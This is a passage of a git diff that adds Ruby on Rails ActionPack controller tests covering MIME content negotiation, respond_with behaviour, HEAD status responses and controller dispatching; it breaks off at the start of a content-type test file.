+ def test_browser_check_with_any_any
+ @request.accept = "application/json, application/xml"
+ get :json_xml_or_html
+ assert_equal 'JSON', @response.body
+
+ @request.accept = "application/json, application/xml, */*"
+ get :json_xml_or_html
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_html_type_with_layout
+ @request.accept = "text/html"
+ get :all_types_with_layout
+ assert_equal '<html><div id="html">HTML for all_types_with_layout</div></html>', @response.body
+ end
+
+ def test_xhr
+ xhr :get, :js_or_html
+ assert_equal 'JS', @response.body
+ end
+
+ def test_custom_constant
+ get :custom_constant_handling, :format => "mobile"
+ assert_equal "text/x-mobile", @response.content_type
+ assert_equal "Mobile", @response.body
+ end
+
+ def test_custom_constant_handling_without_block
+ get :custom_constant_handling_without_block, :format => "mobile"
+ assert_equal "text/x-mobile", @response.content_type
+ assert_equal "Mobile", @response.body
+ end
+
+ def test_forced_format
+ get :html_xml_or_rss
+ assert_equal "HTML", @response.body
+
+ get :html_xml_or_rss, :format => "html"
+ assert_equal "HTML", @response.body
+
+ get :html_xml_or_rss, :format => "xml"
+ assert_equal "XML", @response.body
+
+ get :html_xml_or_rss, :format => "rss"
+ assert_equal "RSS", @response.body
+ end
+
+ def test_internally_forced_format
+ get :forced_xml
+ assert_equal "XML", @response.body
+
+ get :forced_xml, :format => "html"
+ assert_equal "XML", @response.body
+ end
+
+ def test_extension_synonyms
+ get :html_xml_or_rss, :format => "xhtml"
+ assert_equal "HTML", @response.body
+ end
+
+ def test_render_action_for_html
+ @controller.instance_eval do
+ def render(*args)
+ @action = args.first[:action] unless args.empty?
+ @action ||= action_name
+
+ response.body = "#{@action} - #{formats}"
+ end
+ end
+
+ get :using_defaults
+ assert_equal "using_defaults - #{[:html].to_s}", @response.body
+
+ get :using_defaults, :format => "xml"
+ assert_equal "using_defaults - #{[:xml].to_s}", @response.body
+ end
+
+ def test_format_with_custom_response_type
+ get :iphone_with_html_response_type
+ assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
+
+ get :iphone_with_html_response_type, :format => "iphone"
+ assert_equal "text/html", @response.content_type
+ assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+ end
+
+ def test_format_with_custom_response_type_and_request_headers
+ @request.accept = "text/iphone"
+ get :iphone_with_html_response_type
+ assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_invalid_format
+ assert_raises(ActionController::UnknownFormat) do
+ get :using_defaults, :format => "invalidformat"
+ end
+ end
+end
+
+class RespondWithController < ActionController::Base
+ respond_to :html, :json, :touch
+ respond_to :xml, :except => :using_resource_with_block
+ respond_to :js, :only => [ :using_resource_with_block, :using_resource, 'using_hash_resource' ]
+
+ def using_resource
+ respond_with(resource)
+ end
+
+ def using_hash_resource
+ respond_with({:result => resource})
+ end
+
+ def using_resource_with_block
+ respond_with(resource) do |format|
+ format.csv { render :text => "CSV" }
+ end
+ end
+
+ def using_resource_with_overwrite_block
+ respond_with(resource) do |format|
+ format.html { render :text => "HTML" }
+ end
+ end
+
+ def using_resource_with_collection
+ respond_with([resource, Customer.new("jamis", 9)])
+ end
+
+ def using_resource_with_parent
+ respond_with(Quiz::Store.new("developer?", 11), Customer.new("david", 13))
+ end
+
+ def using_resource_with_status_and_location
+ respond_with(resource, :location => "http://test.host/", :status => :created)
+ end
+
+ def using_invalid_resource_with_template
+ respond_with(resource)
+ end
+
+ def using_options_with_template
+ @customer = resource
+ respond_with(@customer, :status => 123, :location => "http://test.host/")
+ end
+
+ def using_resource_with_responder
+ responder = proc { |c, r, o| c.render :text => "Resource name is #{r.first.name}" }
+ respond_with(resource, :responder => responder)
+ end
+
+ def using_resource_with_action
+ respond_with(resource, :action => :foo) do |format|
+ format.html { raise ActionView::MissingTemplate.new([], "bar", ["foo"], {}, false) }
+ end
+ end
+
+ def using_responder_with_respond
+ responder = Class.new(ActionController::Responder) do
+ def respond; @controller.render :text => "respond #{format}"; end
+ end
+ respond_with(resource, :responder => responder)
+ end
+
+protected
+
+ def resource
+ Customer.new("david", request.delete? ? nil : 13)
+ end
+end
+
+class InheritedRespondWithController < RespondWithController
+ clear_respond_to
+ respond_to :xml, :json
+
+ def index
+ respond_with(resource) do |format|
+ format.json { render :text => "JSON" }
+ end
+ end
+end
+
+class RenderJsonRespondWithController < RespondWithController
+ clear_respond_to
+ respond_to :json
+
+ def index
+ respond_with(resource) do |format|
+ format.json { render :json => RenderJsonTestException.new('boom') }
+ end
+ end
+
+ def create
+ resource = ValidatedCustomer.new(params[:name], 1)
+ respond_with(resource) do |format|
+ format.json do
+ if resource.errors.empty?
+ render :json => { :valid => true }
+ else
+ render :json => { :valid => false }
+ end
+ end
+ end
+ end
+end
+
+class EmptyRespondWithController < ActionController::Base
+ def index
+ respond_with(Customer.new("david", 13))
+ end
+end
+
+class RespondWithControllerTest < ActionController::TestCase
+ tests RespondWithController
+
+ def setup
+ super
+ @request.host = "www.example.com"
+ Mime::Type.register_alias('text/html', :iphone)
+ Mime::Type.register_alias('text/html', :touch)
+ Mime::Type.register('text/x-mobile', :mobile)
+ end
+
+ def teardown
+ super
+ Mime::Type.unregister(:iphone)
+ Mime::Type.unregister(:touch)
+ Mime::Type.unregister(:mobile)
+ end
+
+ def test_using_resource
+ @request.accept = "application/xml"
+ get :using_resource
+ assert_equal "application/xml", @response.content_type
+ assert_equal "<name>david</name>", @response.body
+
+ @request.accept = "application/json"
+ assert_raise ActionView::MissingTemplate do
+ get :using_resource
+ end
+ end
+
+ def test_using_resource_with_js_simply_tries_to_render_the_template
+ @request.accept = "text/javascript"
+ get :using_resource
+ assert_equal "text/javascript", @response.content_type
+ assert_equal "alert(\"Hi\");", @response.body
+ end
+
+ def test_using_hash_resource_with_js_raises_an_error_if_template_cant_be_found
+ @request.accept = "text/javascript"
+ assert_raise ActionView::MissingTemplate do
+ get :using_hash_resource
+ end
+ end
+
+ def test_using_hash_resource
+ @request.accept = "application/xml"
+ get :using_hash_resource
+ assert_equal "application/xml", @response.content_type
+ assert_equal "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<hash>\n <name>david</name>\n</hash>\n", @response.body
+
+ @request.accept = "application/json"
+ get :using_hash_resource
+ assert_equal "application/json", @response.content_type
+ assert @response.body.include?("result")
+ assert @response.body.include?('"name":"david"')
+ assert @response.body.include?('"id":13')
+ end
+
+ def test_using_hash_resource_with_post
+ @request.accept = "application/json"
+ assert_raise ArgumentError, "Nil location provided. Can't build URI." do
+ post :using_hash_resource
+ end
+ end
+
+ def test_using_resource_with_block
+ @request.accept = "*/*"
+ get :using_resource_with_block
+ assert_equal "text/html", @response.content_type
+ assert_equal 'Hello world!', @response.body
+
+ @request.accept = "text/csv"
+ get :using_resource_with_block
+ assert_equal "text/csv", @response.content_type
+ assert_equal "CSV", @response.body
+
+ @request.accept = "application/xml"
+ get :using_resource
+ assert_equal "application/xml", @response.content_type
+ assert_equal "<name>david</name>", @response.body
+ end
+
+ def test_using_resource_with_overwrite_block
+ get :using_resource_with_overwrite_block
+ assert_equal "text/html", @response.content_type
+ assert_equal "HTML", @response.body
+ end
+
+ def test_not_acceptable
+ @request.accept = "application/xml"
+ assert_raises(ActionController::UnknownFormat) do
+ get :using_resource_with_block
+ end
+
+ @request.accept = "text/javascript"
+ assert_raises(ActionController::UnknownFormat) do
+ get :using_resource_with_overwrite_block
+ end
+ end
+
+ def test_using_resource_for_post_with_html_redirects_on_success
+ with_test_route_set do
+ post :using_resource
+ assert_equal "text/html", @response.content_type
+ assert_equal 302, @response.status
+ assert_equal "http://www.example.com/customers/13", @response.location
+ assert @response.redirect?
+ end
+ end
+
+ def test_using_resource_for_post_with_html_rerender_on_failure
+ with_test_route_set do
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ post :using_resource
+ assert_equal "text/html", @response.content_type
+ assert_equal 200, @response.status
+ assert_equal "New world!\n", @response.body
+ assert_nil @response.location
+ end
+ end
+
+ def test_using_resource_for_post_with_xml_yields_created_on_success
+ with_test_route_set do
+ @request.accept = "application/xml"
+ post :using_resource
+ assert_equal "application/xml", @response.content_type
+ assert_equal 201, @response.status
+ assert_equal "<name>david</name>", @response.body
+ assert_equal "http://www.example.com/customers/13", @response.location
+ end
+ end
+
+ def test_using_resource_for_post_with_xml_yields_unprocessable_entity_on_failure
+ with_test_route_set do
+ @request.accept = "application/xml"
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ post :using_resource
+ assert_equal "application/xml", @response.content_type
+ assert_equal 422, @response.status
+ assert_equal errors.to_xml, @response.body
+ assert_nil @response.location
+ end
+ end
+
+ def test_using_resource_for_post_with_json_yields_unprocessable_entity_on_failure
+ with_test_route_set do
+ @request.accept = "application/json"
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ post :using_resource
+ assert_equal "application/json", @response.content_type
+ assert_equal 422, @response.status
+ errors = {:errors => errors}
+ assert_equal errors.to_json, @response.body
+ assert_nil @response.location
+ end
+ end
+
+ def test_using_resource_for_patch_with_html_redirects_on_success
+ with_test_route_set do
+ patch :using_resource
+ assert_equal "text/html", @response.content_type
+ assert_equal 302, @response.status
+ assert_equal "http://www.example.com/customers/13", @response.location
+ assert @response.redirect?
+ end
+ end
+
+ def test_using_resource_for_patch_with_html_rerender_on_failure
+ with_test_route_set do
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ patch :using_resource
+ assert_equal "text/html", @response.content_type
+ assert_equal 200, @response.status
+ assert_equal "Edit world!\n", @response.body
+ assert_nil @response.location
+ end
+ end
+
+ def test_using_resource_for_patch_with_html_rerender_on_failure_even_on_method_override
+ with_test_route_set do
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ @request.env["rack.methodoverride.original_method"] = "POST"
+ patch :using_resource
+ assert_equal "text/html", @response.content_type
+ assert_equal 200, @response.status
+ assert_equal "Edit world!\n", @response.body
+ assert_nil @response.location
+ end
+ end
+
+ def test_using_resource_for_put_with_html_redirects_on_success
+ with_test_route_set do
+ put :using_resource
+ assert_equal "text/html", @response.content_type
+ assert_equal 302, @response.status
+ assert_equal "http://www.example.com/customers/13", @response.location
+ assert @response.redirect?
+ end
+ end
+
+ def test_using_resource_for_put_with_html_rerender_on_failure
+ with_test_route_set do
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ put :using_resource
+ assert_equal "text/html", @response.content_type
+ assert_equal 200, @response.status
+ assert_equal "Edit world!\n", @response.body
+ assert_nil @response.location
+ end
+ end
+
+ def test_using_resource_for_put_with_html_rerender_on_failure_even_on_method_override
+ with_test_route_set do
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ @request.env["rack.methodoverride.original_method"] = "POST"
+ put :using_resource
+ assert_equal "text/html", @response.content_type
+ assert_equal 200, @response.status
+ assert_equal "Edit world!\n", @response.body
+ assert_nil @response.location
+ end
+ end
+
+ def test_using_resource_for_put_with_xml_yields_no_content_on_success
+ @request.accept = "application/xml"
+ put :using_resource
+ assert_equal "application/xml", @response.content_type
+ assert_equal 204, @response.status
+ assert_equal "", @response.body
+ end
+
+ def test_using_resource_for_put_with_json_yields_no_content_on_success
+ Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
+ @request.accept = "application/json"
+ put :using_resource
+ assert_equal "application/json", @response.content_type
+ assert_equal 204, @response.status
+ assert_equal "", @response.body
+ end
+
+ def test_using_resource_for_put_with_xml_yields_unprocessable_entity_on_failure
+ @request.accept = "application/xml"
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ put :using_resource
+ assert_equal "application/xml", @response.content_type
+ assert_equal 422, @response.status
+ assert_equal errors.to_xml, @response.body
+ assert_nil @response.location
+ end
+
+ def test_using_resource_for_put_with_json_yields_unprocessable_entity_on_failure
+ @request.accept = "application/json"
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ put :using_resource
+ assert_equal "application/json", @response.content_type
+ assert_equal 422, @response.status
+ errors = {:errors => errors}
+ assert_equal errors.to_json, @response.body
+ assert_nil @response.location
+ end
+
+ def test_using_resource_for_delete_with_html_redirects_on_success
+ with_test_route_set do
+ Customer.any_instance.stubs(:destroyed?).returns(true)
+ delete :using_resource
+ assert_equal "text/html", @response.content_type
+ assert_equal 302, @response.status
+ assert_equal "http://www.example.com/customers", @response.location
+ end
+ end
+
+ def test_using_resource_for_delete_with_xml_yields_no_content_on_success
+ Customer.any_instance.stubs(:destroyed?).returns(true)
+ @request.accept = "application/xml"
+ delete :using_resource
+ assert_equal "application/xml", @response.content_type
+ assert_equal 204, @response.status
+ assert_equal "", @response.body
+ end
+
+ def test_using_resource_for_delete_with_json_yields_no_content_on_success
+ Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
+ Customer.any_instance.stubs(:destroyed?).returns(true)
+ @request.accept = "application/json"
+ delete :using_resource
+ assert_equal "application/json", @response.content_type
+ assert_equal 204, @response.status
+ assert_equal "", @response.body
+ end
+
+ def test_using_resource_for_delete_with_html_redirects_on_failure
+ with_test_route_set do
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ Customer.any_instance.stubs(:destroyed?).returns(false)
+ delete :using_resource
+ assert_equal "text/html", @response.content_type
+ assert_equal 302, @response.status
+ assert_equal "http://www.example.com/customers", @response.location
+ end
+ end
+
+ def test_using_resource_with_parent_for_get
+ @request.accept = "application/xml"
+ get :using_resource_with_parent
+ assert_equal "application/xml", @response.content_type
+ assert_equal 200, @response.status
+ assert_equal "<name>david</name>", @response.body
+ end
+
+ def test_using_resource_with_parent_for_post
+ with_test_route_set do
+ @request.accept = "application/xml"
+
+ post :using_resource_with_parent
+ assert_equal "application/xml", @response.content_type
+ assert_equal 201, @response.status
+ assert_equal "<name>david</name>", @response.body
+ assert_equal "http://www.example.com/quiz_stores/11/customers/13", @response.location
+
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ post :using_resource
+ assert_equal "application/xml", @response.content_type
+ assert_equal 422, @response.status
+ assert_equal errors.to_xml, @response.body
+ assert_nil @response.location
+ end
+ end
+
+ def test_using_resource_with_collection
+ @request.accept = "application/xml"
+ get :using_resource_with_collection
+ assert_equal "application/xml", @response.content_type
+ assert_equal 200, @response.status
+ assert_match(/<name>david<\/name>/, @response.body)
+ assert_match(/<name>jamis<\/name>/, @response.body)
+ end
+
+ def test_using_resource_with_action
+ @controller.instance_eval do
+ def render(params={})
+ self.response_body = "#{params[:action]} - #{formats}"
+ end
+ end
+
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+
+ post :using_resource_with_action
+ assert_equal "foo - #{[:html].to_s}", @controller.response.body
+ end
+
+ def test_respond_as_responder_entry_point
+ @request.accept = "text/html"
+ get :using_responder_with_respond
+ assert_equal "respond html", @response.body
+
+ @request.accept = "application/xml"
+ get :using_responder_with_respond
+ assert_equal "respond xml", @response.body
+ end
+
+ def test_clear_respond_to
+ @controller = InheritedRespondWithController.new
+ @request.accept = "text/html"
+ assert_raises(ActionController::UnknownFormat) do
+ get :index
+ end
+ end
+
+ def test_first_in_respond_to_has_higher_priority
+ @controller = InheritedRespondWithController.new
+ @request.accept = "*/*"
+ get :index
+ assert_equal "application/xml", @response.content_type
+ assert_equal "<name>david</name>", @response.body
+ end
+
+ def test_block_inside_respond_with_is_rendered
+ @controller = InheritedRespondWithController.new
+ @request.accept = "application/json"
+ get :index
+ assert_equal "JSON", @response.body
+ end
+
+ def test_render_json_object_responds_to_str_still_produce_json
+ @controller = RenderJsonRespondWithController.new
+ @request.accept = "application/json"
+ get :index, :format => :json
+ assert_match(/"message":"boom"/, @response.body)
+ assert_match(/"error":"RenderJsonTestException"/, @response.body)
+ end
+
+ def test_api_response_with_valid_resource_respect_override_block
+ @controller = RenderJsonRespondWithController.new
+ post :create, :name => "sikachu", :format => :json
+ assert_equal '{"valid":true}', @response.body
+ end
+
+ def test_api_response_with_invalid_resource_respect_override_block
+ @controller = RenderJsonRespondWithController.new
+ post :create, :name => "david", :format => :json
+ assert_equal '{"valid":false}', @response.body
+ end
+
+ def test_no_double_render_is_raised
+ @request.accept = "text/html"
+ assert_raise ActionView::MissingTemplate do
+ get :using_resource
+ end
+ end
+
+ def test_using_resource_with_status_and_location
+ @request.accept = "text/html"
+ post :using_resource_with_status_and_location
+ assert @response.redirect?
+ assert_equal "http://test.host/", @response.location
+
+ @request.accept = "application/xml"
+ get :using_resource_with_status_and_location
+ assert_equal 201, @response.status
+ end
+
+ def test_using_resource_with_status_and_location_with_invalid_resource
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+
+ @request.accept = "text/xml"
+
+ post :using_resource_with_status_and_location
+ assert_equal errors.to_xml, @response.body
+ assert_equal 422, @response.status
+ assert_equal nil, @response.location
+
+ put :using_resource_with_status_and_location
+ assert_equal errors.to_xml, @response.body
+ assert_equal 422, @response.status
+ assert_equal nil, @response.location
+ end
+
+ def test_using_invalid_resource_with_template
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+
+ @request.accept = "text/xml"
+
+ post :using_invalid_resource_with_template
+ assert_equal errors.to_xml, @response.body
+ assert_equal 422, @response.status
+ assert_equal nil, @response.location
+
+ put :using_invalid_resource_with_template
+ assert_equal errors.to_xml, @response.body
+ assert_equal 422, @response.status
+ assert_equal nil, @response.location
+ end
+
+ def test_using_options_with_template
+ @request.accept = "text/xml"
+
+ post :using_options_with_template
+ assert_equal "<customer-name>david</customer-name>", @response.body
+ assert_equal 123, @response.status
+ assert_equal "http://test.host/", @response.location
+
+ put :using_options_with_template
+ assert_equal "<customer-name>david</customer-name>", @response.body
+ assert_equal 123, @response.status
+ assert_equal "http://test.host/", @response.location
+ end
+
+ def test_using_resource_with_responder
+ get :using_resource_with_responder
+ assert_equal "Resource name is david", @response.body
+ end
+
+ def test_using_resource_with_set_responder
+ RespondWithController.responder = proc { |c, r, o| c.render :text => "Resource name is #{r.first.name}" }
+ get :using_resource
+ assert_equal "Resource name is david", @response.body
+ ensure
+ RespondWithController.responder = ActionController::Responder
+ end
+
+ def test_error_is_raised_if_no_respond_to_is_declared_and_respond_with_is_called
+ @controller = EmptyRespondWithController.new
+ @request.accept = "*/*"
+ assert_raise RuntimeError do
+ get :index
+ end
+ end
+
+ private
+ def with_test_route_set
+ with_routing do |set|
+ set.draw do
+ resources :customers
+ resources :quiz_stores do
+ resources :customers
+ end
+ get ":controller/:action"
+ end
+ yield
+ end
+ end
+end
+
+class AbstractPostController < ActionController::Base
+ self.view_paths = File.dirname(__FILE__) + "/../fixtures/post_test/"
+end
+
+# For testing layouts which are set automatically
+class PostController < AbstractPostController
+ around_action :with_iphone
+
+ def index
+ respond_to(:html, :iphone, :js)
+ end
+
+protected
+
+ def with_iphone
+ request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+ yield
+ end
+end
+
+class SuperPostController < PostController
+end
+
+class MimeControllerLayoutsTest < ActionController::TestCase
+ tests PostController
+
+ def setup
+ super
+ @request.host = "www.example.com"
+ Mime::Type.register_alias("text/html", :iphone)
+ end
+
+ def teardown
+ super
+ Mime::Type.unregister(:iphone)
+ end
+
+ def test_missing_layout_renders_properly
+ get :index
+ assert_equal '<html><div id="html">Hello Firefox</div></html>', @response.body
+
+ @request.accept = "text/iphone"
+ get :index
+ assert_equal 'Hello iPhone', @response.body
+ end
+
+ def test_format_with_inherited_layouts
+ @controller = SuperPostController.new
+
+ get :index
+ assert_equal '<html><div id="html">Super Firefox</div></html>', @response.body
+
+ @request.accept = "text/iphone"
+ get :index
+ assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body
+ end
+
+ def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout
+ get :index, :format => :js
+ assert_equal "Hello Firefox", @response.body
+ end
+end
+
+class FlashResponder < ActionController::Responder
+ def initialize(controller, resources, options={})
+ super
+ end
+
+ def to_html
+ controller.flash[:notice] = 'Success'
+ super
+ end
+end
+
+class FlashResponderController < ActionController::Base
+ self.responder = FlashResponder
+ respond_to :html
+
+ def index
+ respond_with Object.new do |format|
+ format.html { render :text => 'HTML' }
+ end
+ end
+end
+
+class FlashResponderControllerTest < ActionController::TestCase
+ tests FlashResponderController
+
+ def test_respond_with_block_executed
+ get :index
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_flash_responder_executed
+ get :index
+ assert_equal 'Success', flash[:notice]
+ end
+end
diff --git a/actionpack/test/controller/new_base/bare_metal_test.rb b/actionpack/test/controller/new_base/bare_metal_test.rb
new file mode 100644
index 0000000..7396c85
--- /dev/null
+++ b/actionpack/test/controller/new_base/bare_metal_test.rb
@@ -0,0 +1,151 @@
+require "abstract_unit"
+
+module BareMetalTest
+ class BareController < ActionController::Metal
+ def index
+ self.response_body = "Hello world"
+ end
+ end
+
+ class BareTest < ActiveSupport::TestCase
+ test "response body is a Rack-compatible response" do
+ status, headers, body = BareController.action(:index).call(Rack::MockRequest.env_for("/"))
+ assert_equal 200, status
+ string = ""
+
+ body.each do |part|
+ assert part.is_a?(String), "Each part of the body must be a String"
+ string << part
+ end
+
+ assert_kind_of Hash, headers, "Headers must be a Hash"
+ assert headers["Content-Type"], "Content-Type must exist"
+
+ assert_equal "Hello world", string
+ end
+
+ test "response_body value is wrapped in an array when the value is a String" do
+ controller = BareController.new
+ controller.index
+ assert_equal ["Hello world"], controller.response_body
+ end
+ end
+
+ class HeadController < ActionController::Metal
+ include ActionController::Head
+
+ def index
+ head :not_found
+ end
+
+ def continue
+ self.content_type = "text/html"
+ head 100
+ end
+
+ def switching_protocols
+ self.content_type = "text/html"
+ head 101
+ end
+
+ def processing
+ self.content_type = "text/html"
+ head 102
+ end
+
+ def no_content
+ self.content_type = "text/html"
+ head 204
+ end
+
+ def reset_content
+ self.content_type = "text/html"
+ head 205
+ end
+
+ def not_modified
+ self.content_type = "text/html"
+ head 304
+ end
+ end
+
+ class HeadTest < ActiveSupport::TestCase
+ test "head works on its own" do
+ status = HeadController.action(:index).call(Rack::MockRequest.env_for("/")).first
+ assert_equal 404, status
+ end
+
+ test "head :continue (100) does not return a content-type header" do
+ headers = HeadController.action(:continue).call(Rack::MockRequest.env_for("/")).second
+ assert_nil headers['Content-Type']
+ assert_nil headers['Content-Length']
+ end
+
+ test "head :continue (101) does not return a content-type header" do
+ headers = HeadController.action(:continue).call(Rack::MockRequest.env_for("/")).second
+ assert_nil headers['Content-Type']
+ assert_nil headers['Content-Length']
+ end
+
+ test "head :processing (102) does not return a content-type header" do
+ headers = HeadController.action(:processing).call(Rack::MockRequest.env_for("/")).second
+ assert_nil headers['Content-Type']
+ assert_nil headers['Content-Length']
+ end
+
+ test "head :no_content (204) does not return a content-type header" do
+ headers = HeadController.action(:no_content).call(Rack::MockRequest.env_for("/")).second
+ assert_nil headers['Content-Type']
+ assert_nil headers['Content-Length']
+ end
+
+ test "head :reset_content (205) does not return a content-type header" do
+ headers = HeadController.action(:reset_content).call(Rack::MockRequest.env_for("/")).second
+ assert_nil headers['Content-Type']
+ assert_nil headers['Content-Length']
+ end
+
+ test "head :not_modified (304) does not return a content-type header" do
+ headers = HeadController.action(:not_modified).call(Rack::MockRequest.env_for("/")).second
+ assert_nil headers['Content-Type']
+ assert_nil headers['Content-Length']
+ end
+
+ test "head :no_content (204) does not return any content" do
+ content = HeadController.action(:no_content).call(Rack::MockRequest.env_for("/")).third.first
+ assert_empty content
+ end
+
+ test "head :reset_content (205) does not return any content" do
+ content = HeadController.action(:reset_content).call(Rack::MockRequest.env_for("/")).third.first
+ assert_empty content
+ end
+
+ test "head :not_modified (304) does not return any content" do
+ content = HeadController.action(:not_modified).call(Rack::MockRequest.env_for("/")).third.first
+ assert_empty content
+ end
+
+ test "head :continue (100) does not return any content" do
+ content = HeadController.action(:continue).call(Rack::MockRequest.env_for("/")).third.first
+ assert_empty content
+ end
+
+ test "head :switching_protocols (101) does not return any content" do
+ content = HeadController.action(:switching_protocols).call(Rack::MockRequest.env_for("/")).third.first
+ assert_empty content
+ end
+
+ test "head :processing (102) does not return any content" do
+ content = HeadController.action(:processing).call(Rack::MockRequest.env_for("/")).third.first
+ assert_empty content
+ end
+ end
+
+ class BareControllerTest < ActionController::TestCase
+ test "GET index" do
+ get :index
+ assert_equal "Hello world", @response.body
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/base_test.rb b/actionpack/test/controller/new_base/base_test.rb
new file mode 100644
index 0000000..964f22e
--- /dev/null
+++ b/actionpack/test/controller/new_base/base_test.rb
@@ -0,0 +1,132 @@
+require 'abstract_unit'
+
+# Tests the controller dispatching happy path
+module Dispatching
+ class SimpleController < ActionController::Base
+ before_action :authenticate
+
+ def index
+ render :text => "success"
+ end
+
+ def modify_response_body
+ self.response_body = "success"
+ end
+
+ def modify_response_body_twice
+ ret = (self.response_body = "success")
+ self.response_body = "#{ret}!"
+ end
+
+ def modify_response_headers
+ end
+
+ def show_actions
+ render :text => "actions: #{action_methods.to_a.sort.join(', ')}"
+ end
+
+ protected
+ def authenticate
+ end
+ end
+
+ class EmptyController < ActionController::Base ; end
+ class SubEmptyController < EmptyController ; end
+ class NonDefaultPathController < ActionController::Base
+ def self.controller_path; "i_am_not_default"; end
+ end
+
+ module Submodule
+ class ContainedEmptyController < ActionController::Base ; end
+ class ContainedSubEmptyController < ContainedEmptyController ; end
+ class ContainedNonDefaultPathController < ActionController::Base
+ def self.controller_path; "i_am_extremely_not_default"; end
+ end
+ end
+
+ class BaseTest < Rack::TestCase
+ # :api: plugin
+ test "simple dispatching" do
+ get "/dispatching/simple/index"
+
+ assert_body "success"
+ assert_status 200
+ assert_content_type "text/html; charset=utf-8"
+ end
+
+ # :api: plugin
+ test "directly modifying response body" do
+ get "/dispatching/simple/modify_response_body"
+
+ assert_body "success"
+ end
+
+ # :api: plugin
+ test "directly modifying response body twice" do
+ get "/dispatching/simple/modify_response_body_twice"
+
+ assert_body "success!"
+ end
+
+ test "controller path" do
+ assert_equal 'dispatching/empty', EmptyController.controller_path
+ assert_equal EmptyController.controller_path, EmptyController.new.controller_path
+ end
+
+ test "non-default controller path" do
+ assert_equal 'i_am_not_default', NonDefaultPathController.controller_path
+ assert_equal NonDefaultPathController.controller_path, NonDefaultPathController.new.controller_path
+ end
+
+ test "sub controller path" do
+ assert_equal 'dispatching/sub_empty', SubEmptyController.controller_path
+ assert_equal SubEmptyController.controller_path, SubEmptyController.new.controller_path
+ end
+
+ test "namespaced controller path" do
+ assert_equal 'dispatching/submodule/contained_empty', Submodule::ContainedEmptyController.controller_path
+ assert_equal Submodule::ContainedEmptyController.controller_path, Submodule::ContainedEmptyController.new.controller_path
+ end
+
+ test "namespaced non-default controller path" do
+ assert_equal 'i_am_extremely_not_default', Submodule::ContainedNonDefaultPathController.controller_path
+ assert_equal Submodule::ContainedNonDefaultPathController.controller_path, Submodule::ContainedNonDefaultPathController.new.controller_path
+ end
+
+ test "namespaced sub controller path" do
+ assert_equal 'dispatching/submodule/contained_sub_empty', Submodule::ContainedSubEmptyController.controller_path
+ assert_equal Submodule::ContainedSubEmptyController.controller_path, Submodule::ContainedSubEmptyController.new.controller_path
+ end
+
+ test "controller name" do
+ assert_equal 'empty', EmptyController.controller_name
+ assert_equal 'contained_empty', Submodule::ContainedEmptyController.controller_name
+ end
+
+ test "non-default path controller name" do
+ assert_equal 'non_default_path', NonDefaultPathController.controller_name
+ assert_equal 'contained_non_default_path', Submodule::ContainedNonDefaultPathController.controller_name
+ end
+
+ test "sub controller name" do
+ assert_equal 'sub_empty', SubEmptyController.controller_name
+ assert_equal 'contained_sub_empty', Submodule::ContainedSubEmptyController.controller_name
+ end
+
+ test "action methods" do
+ assert_equal Set.new(%w(
+ index
+ modify_response_headers
+ modify_response_body_twice
+ modify_response_body
+ show_actions
+ )), SimpleController.action_methods
+
+ assert_equal Set.new, EmptyController.action_methods
+ assert_equal Set.new, Submodule::ContainedEmptyController.action_methods
+
+ get "/dispatching/simple/show_actions"
+ assert_body "actions: index, modify_response_body, modify_response_body_twice, modify_response_headers, show_actions"
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/content_negotiation_test.rb b/actionpack/test/controller/new_base/content_negotiation_test.rb
new file mode 100644
index 0000000..5fd5946
--- /dev/null
+++ b/actionpack/test/controller/new_base/content_negotiation_test.rb
@@ -0,0 +1,27 @@
+require 'abstract_unit'
+
+module ContentNegotiation
+
+ # This has no layout and it works
+ class BasicController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "content_negotiation/basic/hello.html.erb" => "Hello world <%= request.formats.first.to_s %>!"
+ )]
+
+ def all
+ render :text => self.formats.inspect
+ end
+ end
+
+ class TestContentNegotiation < Rack::TestCase
+ test "A */* Accept header will return HTML" do
+ get "/content_negotiation/basic/hello", {}, "HTTP_ACCEPT" => "*/*"
+ assert_body "Hello world */*!"
+ end
+
+ test "Not all mimes are converted to symbol" do
+ get "/content_negotiation/basic/all", {}, "HTTP_ACCEPT" => "text/plain, mime/another"
+ assert_body '[:text, "mime/another"]'
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/content_type_test.rb b/actionpack/test/controller/new_base/content_type_test.rb
new file mode 100644
index 0000000..9b57641
--- /dev/null
+++ b/actionpack/test/controller/new_base/content_type_test.rb
@@ -0,0 +1,112 @@
+require 'abstract_unit'
+
+module ContentType
+ class BaseController < ActionController::Base
+ def index
+ render :text => "Hello world!"
+ end
+
+ def set_on_response_obj
+ response.content_type = Mime::RSS
